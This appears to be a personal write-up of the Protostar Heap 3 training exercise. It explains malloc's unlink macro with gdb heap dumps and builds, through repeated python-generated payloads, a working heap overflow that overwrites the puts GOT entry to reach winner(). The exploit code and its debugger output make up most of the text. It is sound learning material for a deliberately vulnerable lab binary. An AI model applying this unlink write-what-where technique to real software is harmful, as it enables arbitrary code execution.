Exploit Exercises — Protostar Heap 3

This level was harder than previous ones. I needed to deep dive into how malloc works and how to exploit the unlink macros. Articles that helped me:

• Vudo - An object superstitiously believed to embody magical powers
• X86 Exploitation 101: Heap Overflows… Unlink Me, Would You Please?
• Heap Overflows
• A Memory Allocator

In our case we have 3 buffers, 32 bytes each:

 a = malloc(32);
 b = malloc(32);
 c = malloc(32);

strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);

free(c);
free(b);
free(a);

Let’s see what happens when we run the program:

(gdb) b *main+136
Breakpoint 1 at 0x8048911: file heap3/heap3.c, line 24.
(gdb) r AAAA BBBB CCCC
Starting program: /opt/protostar/bin/heap3 AAAA BBBB CCCC

Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffff724) at heap3/heap3.c:24
24  heap3/heap3.c: No such file or directory.
    in heap3/heap3.c

(gdb) x/12x 0x0804c008 - 8
0x804c000:  0x00000000  0x00000029  0x41414141  0x00000000
0x804c010:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000029
(gdb) x/12x 0x0804c030 - 8
0x804c028:  0x00000000  0x00000029  0x42424242  0x00000000
0x804c038:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c048:  0x00000000  0x00000000  0x00000000  0x00000029
(gdb) x/12x 0x0804c058 - 8
0x804c050:  0x00000000  0x00000029  0x43434343  0x00000000
0x804c060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c070:  0x00000000  0x00000000  0x00000000  0x00000f89

Now let’s see what happens after each free() call:

(gdb) disassemble main
...
0x08048911 <main+136>:  call   0x8049824 <free>
0x08048916 <main+141>:  mov    eax,DWORD PTR [esp+0x18]
0x0804891a <main+145>:  mov    DWORD PTR [esp],eax
0x0804891d <main+148>:  call   0x8049824 <free>
0x08048922 <main+153>:  mov    eax,DWORD PTR [esp+0x14]
0x08048926 <main+157>:  mov    DWORD PTR [esp],eax
0x08048929 <main+160>:  call   0x8049824 <free>
0x0804892e <main+165>:  mov    DWORD PTR [esp],0x804ac27
0x08048935 <main+172>:  call   0x8048790 <puts@plt>
(gdb) b *main+148
Breakpoint 2 at 0x804891d: file heap3/heap3.c, line 25.
(gdb) b *main+160
Breakpoint 3 at 0x8048929: file heap3/heap3.c, line 26.
(gdb) b *main+165
Breakpoint 4 at 0x804892e: file heap3/heap3.c, line 28.

We set two new breakpoint before others free() calls and one after the last free(a) call. Contunue program and we stop right before the second free call. Let’s examine the heap:

(gdb) x/12x 0x0804c058 - 8
0x804c050:  0x00000000  0x00000029  0x00000000  0x00000000
0x804c060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c070:  0x00000000  0x00000000  0x00000000  0x00000f89

The we run over the second call:

(gdb) c
Continuing.

Breakpoint 3, 0x08048929 in main (argc=4, argv=0xbffff724) at heap3/heap3.c:26
26  in heap3/heap3.c

(gdb) x/12x 0x0804c008 - 8
0x804c000:  0x00000000  0x00000029  0x41414141  0x00000000   ; a
0x804c010:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000029
(gdb) x/12x 0x0804c030 - 8
0x804c028:  0x00000000  0x00000029  0x0804c050  0x00000000   ; b
0x804c038:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c048:  0x00000000  0x00000000  0x00000000  0x00000029
(gdb) x/12x 0x0804c058 - 8
0x804c050:  0x00000000  0x00000029  0x00000000  0x00000000   ; c
0x804c060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c070:  0x00000000  0x00000000  0x00000000  0x00000f89

And after the free(a):

(gdb) c
Continuing.

Breakpoint 4, main (argc=4, argv=0xbffff724) at heap3/heap3.c:28
28  in heap3/heap3.c
(gdb) x/12x 0x0804c008 - 8
0x804c000:  0x00000000  0x00000029  0x0804c028  0x00000000  ; a
0x804c010:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000029
(gdb) x/12x 0x0804c030 - 8
0x804c028:  0x00000000  0x00000029  0x0804c050  0x00000000  ; b
0x804c038:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c048:  0x00000000  0x00000000  0x00000000  0x00000029
(gdb) x/12x 0x0804c058 - 8
0x804c050:  0x00000000  0x00000029  0x00000000  0x00000000  ; c
0x804c060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c070:  0x00000000  0x00000000  0x00000000  0x00000f89

As we can see the chunks are stored in single-linked lists. There’s some good explanation to this:

freed chunks smaller than 64 bytes are placed into a single-linked list

So we need to set the size of a chunk greater that 64 bytes so that unlink got called.

After freeing all chunks we can look at bins:

(gdb) disassemble free
Dump of assembler code for function free:
...
0x0804982a <free+6>:    mov    DWORD PTR [ebp-0x38],0x804b160   ; bins address
...
(gdb) x/16x 0x804b160
0x804b160 <av_>:    0x00000048  0x00000000  0x00000000  0x00000000
0x804b170 <av_+16>: 0x0804c000  0x00000000  0x00000000  0x00000000
0x804b180 <av_+32>: 0x00000000  0x00000000  0x00000000  0x0804c078
0x804b190 <av_+48>: 0x00000000  0x00000000  0x00000000  0x0804b194

We can see a bin with the index 5 points to the first chunk (which is a and has 0x0804c000 address).

Check if we overwrote prevsize:

(gdb) r AAAA `python -c "print 'A'*32 + '\xfc\xff\xff\xff' + '\xf0'"` DEADBEEF
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap3 AAAA `python -c "print 'A'*32 + '\xfc\xff\xff\xff' + '\xf0'"` DEADBEEF

Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffff704) at heap3/heap3.c:24
24  in heap3/heap3.c
(gdb) x/32x 0x0804c058 - 8
0x804c050:  0xfffffffc  0x000000f0  0x44414544  0x46454542
0x804c060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c070:  0x00000000  0x00000000  0x00000000  0x00000f89
0x804c080:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c090:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c0a0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c0b0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c0c0:  0x00000000  0x00000000  0x00000000  0x00000000

Since PREV_INUSE is unset it will think about buffer b as freed. Since we cannot use 0x00 bytes, we use negative values as size. We use 0xfffffffc which is 0b11111111111111111111111111111100. Thus it will run p = chunk_at_offset(p, -(long)prevsz) and will treat p+4 as a pointer to the previous chunk.

If we call free on a chunk which has bk and fd pointers overwritten, then we will overwrite fd+12 with bk and then bk+8 with fd. If you don’t understand it, take a look at unlink macro again:

#define unlink( P, BK, FD ) {            \
    BK = P->bk;                          \
    FD = P->fd;                          \
    FD->bk = BK;                         \
    BK->fd = FD;                         \
}

Now let’s find what and where we need to write. Let’s find the address of winner():

$ readelf -Ws heap3 | grep winner
    74: 08048864    37 FUNC    GLOBAL DEFAULT   14 winner

And for example we want to replace puts() in GOT:

user@protostar:/opt/protostar/bin$ readelf -r heap3 | grep puts
0804b128  00000e07 R_386_JUMP_SLOT   00000000   puts

Assuming that we will write at bk+8, bk must be 0x0804b128 - 0x0c = 0x804b11c.

So let’s test our exploit:

(gdb) r AAAA `python -c "print 'B'*32 + '\xfc\xff\xff\xff' + '\xf0'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08'"`

Starting program: /opt/protostar/bin/heap3 AAAA `python -c "print 'B'*32 + '\xfc\xff\xff\xff' + '\xf0'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08'"`

Program received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c058) at common/malloc.c:3638
3638    in common/malloc.c

It crashed. Let’s find if we rewrote GOT entry:

(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>:   0x08048864

We did! But why did we get this SEGFAULT?

(gdb) x/i 0x08049906
0x8049906 <free+226>:   mov    DWORD PTR [eax+0x8],edx
(gdb) i r eax edx
eax            0x8048864    134514788
edx            0x804b11c    134525212

It’s getting clearer — it tried to write at winner() + 0x8 and got an error because winner() is in a read-only segment. To circumvent this, we will create a shellcode calling winner(), then we’ll write the address of the shellcode into GOT and mov DWORD PTR [eax+0x8],edx will be executed successfully.

Trying to use a pointer to buffer instead of a direct pointer to winner():

(gdb) r `python -c "print 'A'*32"` `python -c "print 'B'*32 + '\xfc\xff\xff\xff' + '\xf0'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x08\xc0\x04\x08'"`
Starting program: /opt/protostar/bin/heap3 `python -c "print 'A'*32"` `python -c "print 'B'*32 + '\xfc\xff\xff\xff' + '\xf0'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x08\xc0\x04\x08'"`

Program received signal SIGSEGV, Segmentation fault.
0x08049951 in free (mem=0x804c058) at common/malloc.c:3648
3648    in common/malloc.c
(gdb) x/i $eip
0x8049951 <free+301>:   mov    DWORD PTR [eax+0xc],edx
(gdb) i r eax edx
eax            0x0  0
edx            0x0  0

Crashed again. At least we rewrote our first buffer (see at 0x804c010):

(gdb) x/24x 0x0804c000
0x804c000:  0x00000000  0x00000029  0x41414141  0x41414141
0x804c010:  0x0804b11c  0x41414141  0x41414141  0x41414141
0x804c020:  0x41414141  0x41414141  0x00000000  0x00000029
0x804c030:  0x42424242  0x42424242  0x42424242  0x42424242
0x804c040:  0x42424242  0x42424242  0x42424242  0x42424242
0x804c050:  0xfffffffc  0x000000f0  0x43434343  0x0804b11c

After a day of googling I understood why this SEGFAULT happens — because the next chunk is not valid and it tries to check the next chunk. So I needed to create a new fake chunk. I will use -32 byte offset which in hex representation is:

>>> i = -32
>>> hex(i & 0xffffffff)
'0xffffffe0'

Then I will create “fake” header. size in our fake header will be -8 which is 0xfffffff8. Thus our next next chunk will point directly to our b buffer which has PREV_IN_USE bit set:

(gdb) r `python -c "print 'A'*32"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x08\xc0\x04\x08'"`

Starting program: /opt/protostar/bin/heap3 `python -c "print 'A'*32"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x08\xc0\x04\x08'"`

Program received signal SIGILL, Illegal instruction.
0x0804c035 in ?? ()
(gdb) x/16x $eip
0x804c035:  0x42ffffff  0x42424242  0x42424242  0x42424242
0x804c045:  0x42424242  0x42424242  0xfc424242  0xe0ffffff
0x804c055:  0xddffffff  0x94ffffff  0x940804b1  0x000804b1
0x804c065:  0x00000000  0x00000000  0x00000000  0x00000000
(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>:   0x0804c008

New SEGFAULT and we are sure that we changed the flow. Then I changed A to \xcc in order to have breakpoints instead of shellcode:

(gdb) r `python -c "print '\xcc'*32"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x08\xc0\x04\x08'"`

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0804c00d in ?? ()

Let’s look closer at the address where we jump to:

(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>:   0x0804c008
(gdb) x/16x 0x0804c008
0x804c008:  0x0804c028  0xcccccccc  0x0804b11c  0xcccccccc
0x804c018:  0xcccccccc  0xcccccccc  0xcccccccc  0xcccccccc
0x804c028:  0x00000000  0x00000029  0x00000000  0xfffffff8
0x804c038:  0x42424242  0x42424242  0x42424242  0x42424242

0x0804c028 is just the address of the next chunk. It is there because free(a) was called. Let’s change values a bit to jump over this:

(gdb) r `python -c "print '\xcc'*32"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x10\xc0\x04\x08'"`

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0804c011 in ?? ()

(gdb) x/16x 0x0804c000
0x804c000:  0x00000000  0x00000029  0x0804c028  0xcccccccc
0x804c010:  0xcccccccc  0xcccccccc  0x0804b11c  0xcccccccc
0x804c020:  0xcccccccc  0xcccccccc  0x00000000  0x00000029
0x804c030:  0x00000000  0xfffffff8  0x42424242  0x42424242
(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>:   0x0804c010

After that I modiefied the first buffer (where our shellcode is) to call winner():

$ rasm2 -a x86 -b32 'push 0x8048864; ret;'
6864880408c3

Then I changed the exploit:

(gdb) r `python -c "print '\xcc'*8 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x10\xc0\x04\x08'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap3 `python -c "print '\xcc'*8 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x10\xc0\x04\x08'"`
that wasn't too bad now, was it? @ 1484671479

Program exited with code 056.

Run from console:

./heap3 `python -c "print '\xcc'*8 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'BBBB' + '\xf8\xff\xff\xff' + 'B'*24 + '\xfc\xff\xff\xff' + '\xe0\xff\xff\xff'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x10\xc0\x04\x08'"`
that wasn't too bad now, was it? @ 1484671532